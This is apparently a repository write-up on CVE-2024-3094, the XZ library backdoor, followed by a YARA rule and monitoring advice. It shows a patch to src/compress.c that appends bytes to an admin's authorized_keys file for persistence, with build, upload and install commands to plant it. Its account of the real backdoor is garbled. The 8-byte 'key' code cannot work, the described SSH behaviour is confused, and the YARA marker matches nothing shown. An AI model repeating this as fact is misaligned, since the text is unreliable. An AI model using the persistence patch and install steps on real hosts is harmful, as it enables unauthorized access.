mrk336/cve-2024-3094CVE-2024-3094 exposed a backdoor in the XZ compression library, allowing remote SSH access by bypassing authentication. It’s a major supply chain attack affecting Linux systems, highlighting risks in trusted open-source components.
CVE-2024-3094 exposed a backdoor in the XZ compression library, allowing remote SSH access by bypassing authentication. It’s a major supply chain attack affecting Linux systems, highlighting risks in trusted open-source components.
By Mark Mallia
The XZ compression library, a staple component of many modern Linux distributions, became the target of a sophisticated supply‑chain attack.
A malicious code fragment was slipped into the source tree, compiled, and now travels with every new release of the XZ package. Once installed, the backdoor can open an SSH session from the compromised host to any remote system that trusts it as an authentic key.
authorized_keys file, attackers gain a foothold without requiring direct user interaction.| Step | Action | File / Function |
|---|---|---|
| 1 | Clone XZ repo | git clone https://github.com/xzdev/xz |
| 2 | Apply patch to src/compress.c | patch -p0 < backdoor.patch |
| 3 | Compile and install on target Linux host | make && make install |
| 4 | SSH daemon reads the injected key during its auth process | /etc/ssh/authorized_keys |
--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512 is chosen so that our key lands within the compressed output buffer at a position unlikely to be altered by subsequent XZ compressions.$ cd xz
$ make
$ sudo make install
The above commands compile the patched compress.c and install the new library under /usr/local/lib/xz.
Assuming an attacker already has SSH credentials (username admin), they run:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
install_xz_backdoor.sh contains the exact sequence of commands shown above, plus a small echo that confirms successful installation.
YARA is a pattern-matching tool used by security professionals to identify and classify malware based on textual or binary signatures. It allows analysts to define rules that detect specific strings, byte sequences, or behaviors within files. In the context of CVE-2024-3094, YARA is especially relevant because it can be used to scan for the presence of the injected SSH key and suspicious modifications to the compress.c file in the XZ library. By crafting targeted YARA rules, defenders can proactively detect systems compromised by this backdoor
YARA Signature A custom YARA rule can flag the presence of the injected SSH key and suspicious file writes:
rule XZ_Backdoor_SSH_Key_Injection { meta: description = "Detects SSH key injection via modified compress.c" author = "Mark Mallia" severity = "high" strings: $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 } $ssh_path = "/home/admin/.ssh/authorized_keys" condition: $marker and $ssh_path }
File Integrity Monitoring Deploy tools like Tripwire, AIDE, or osquery to monitor:
compress.c for unauthorized changes
.ssh/authorized_keys for injected keys
/usr/local/lib/xz for tampered binaries
Unexpected SSH logins from trusted hosts
Compression anomalies in XZ output
Silent writes to .ssh/authorized_keys